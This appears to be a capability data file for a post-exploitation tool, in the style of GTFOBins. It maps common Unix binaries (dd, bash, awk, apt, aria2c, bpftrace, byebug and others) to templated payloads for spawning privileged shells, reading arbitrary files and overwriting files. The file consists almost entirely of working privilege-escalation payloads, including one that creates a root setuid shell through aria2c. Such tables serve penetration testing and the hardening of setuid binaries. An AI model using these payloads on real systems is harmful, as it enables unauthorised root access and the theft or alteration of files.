{ // Each item is a list of capabilities for this binary "dd": [ { // This is a read capability "type": "read", // No other commands need to be executed besides the command // "command" exands to the binary path and any arguments provided // If the data needs to be dealt with earlier, you can use "{data}" // here. "payload": "{command} 2>/dev/null", // This is used to pass arguments to the application (auto-merged // into "{command}". "args": ["if={lfile}"], // Prepends arguments, if any to the "args" for setuid context. "suid": [], // Input which needs to be passed to the application. All insertions // work here (such as {lfile}, {command}), but also {data} if you are // streaming the data to the remote application. "input": "", // If needed, specify some data that must be sent to exit the remote // application after the read is finished. // "exit": "{ctrl_c}", // This specifies how to handle the data. There can be a few // different values here: // - raw -> the data is unchanged and the controlling terminal // is set to raw mode for effective reading. This mode // requires a known data length and the command will fail // without it. // - print -> the data is unchanged, but the controlling // terminal is not changed to raw mode. Only printable // data is safe from TTY translation. // - base64 -> all data is converted from base64. Data sent // to the remote process should be in base64 form, and the // tty is not set to raw mode. // - hex -> same as base64, but base16 instead. "stream": "raw" }, { "type": "write", "stream": "raw", "payload": "{command} 2>/dev/null", "args": ["of={lfile}", "iflag=count_bytes,fullblock", "count={length}"] }, { "type": "write", "stream": "print", "payload": "{command} 2>/dev/null", "args": ["of={lfile}"], "exit": "{ctrl_d}" } ], // Another example "bash": [ { "type": "shell", "stream": "print", "suid": ["-p"], "exit": "exit" }, { "type": "read", "stream": "print", "payload": "{command}", "args": ["-c", "'{cat} {lfile}'"], "suid": ["-p"] }, { "type": "write", "stream": "base64", "payload": "{command}", "args": ["-c", "'{base64} -d > {lfile}'"], "suid": ["-p"], "exit": "{ctrl_d}{ctrl_d}" } ], "dash": [ { "type": "shell", "stream": "print", "suid": ["-p"], "exit": "exit" }, { "type": "read", "stream": "print", "payload": "{command} -c '{cat} {lfile}'", "suid": ["-p"], "exit": "{ctrl_d}" }, { "type": "write", "stream": "base64", "payload": "{command} -c '{base64} -d > {lfile}'", "suid": ["-p"], "exit": "{ctrl_d}" } ], "cat": [ { "type": "read", "stream": "raw", "payload": "{command} {lfile}" } ], "apt": [ { "type": "shell", "args": ["changelog", "apt"], "input": "!{shell}\n", "exit": "exit\nq\n" } ], "apt-get": [ { "type": "shell", "args": ["changelog", "apt"], "input": "!{shell}\n", "exit": "exit\nq\n" } ], "aria2c": [ { "type": "shell", "payload": "export TF=$({mktemp}); export SH=$({mktemp}); {cp} {shell} $SH; echo \"{chown} root:root $SH; {chmod} +sx $SH\" > $TF; {chmod} +x $TF; {command}; sleep 1; $SH -p", "input": "rm $TF; rm $SH; unset TF; unset $SH;\n", "args": ["--on-download-error=$TF", "http://x"], "exit": "exit" } ], "ash": [ { "type": "shell", "stream": "print", "suid": ["-p"], "exit": "exit" }, { "type": "read", "stream": "print", "payload": "{command} -c '{cat} {lfile}'", "suid": ["-p"], "exit": "{ctrl_c}" }, { "type": "write", "stream": "base64", "payload": "{command} -c '{base64} -d > {lfile}'", "suid": ["-p"], "exit": "{ctrl_c}" } ], "awk": [ { "type": "shell", "payload": "{command} 'BEGIN {{system(\"{shell} -p\")}}'", "exit": "exit" }, { "type": "read", "stream": "print", "payload": "{command} // {lfile}" }, { "type": "read", "stream": "raw", "payload": "{command} 'BEGIN {{system(\"{cat} {lfile}\")}}'" }, { "type": "write", "stream": "print", "args": [ "-v", "LFILE={lfile}", "'BEGIN {{ printf \"\" > LFILE; while ((getline) > 0){{ print >> LFILE }}'" ] } ], "gawk": [ { "type": "shell", "payload": "{command} 'BEGIN {{system(\"{shell} -p\")}}'", "exit": "exit" }, { "type": "read", "stream": "print", "payload": "{command} // {lfile}" }, { "type": "read", "stream": "raw", "payload": "{command} 'BEGIN {{system(\"{cat} {lfile}\")}}'" }, { "type": "write", "stream": "print", "args": [ "-v", "LFILE={lfile}", "'BEGIN {{ printf \"\" > LFILE; while ((getline) > 0){{ print >> LFILE }}'" ] } ], "base32": [ { "type": "read", "stream": "raw", "payload": "{command} {lfile} | {base32} -d", "args": [] } ], "base64": [ { "type": "read", "stream": "raw", "payload": "{command} {lfile} | {base64} -d", "args": [] } ], "bpftrace": [ { "type": "shell", "args": ["-c", "'{shell} -p'", "-e", "'END {{exit()}}'"], "suid": ["-p"], "exit": "exit" } ], "busctl": [ { "type": "shell", "input": "!{shell}\n", "exit": "exit\nq\n" } ], "byebug": [ { "type": "shell", "payload": "TF=$({mktemp}); echo 'system(\"{shell}\")' > $TF; {command}", "args": ["--no-stop", "-q", "$TF"], "exit": "exit" }, { "type": "read", "payload": "TF=$({mktemp}); echo 'system(\"{cat} {lfile}\")' > $TF; {command}", "args": ["--no-stop", "-q", "$TF"], "exit": "exit" } ] }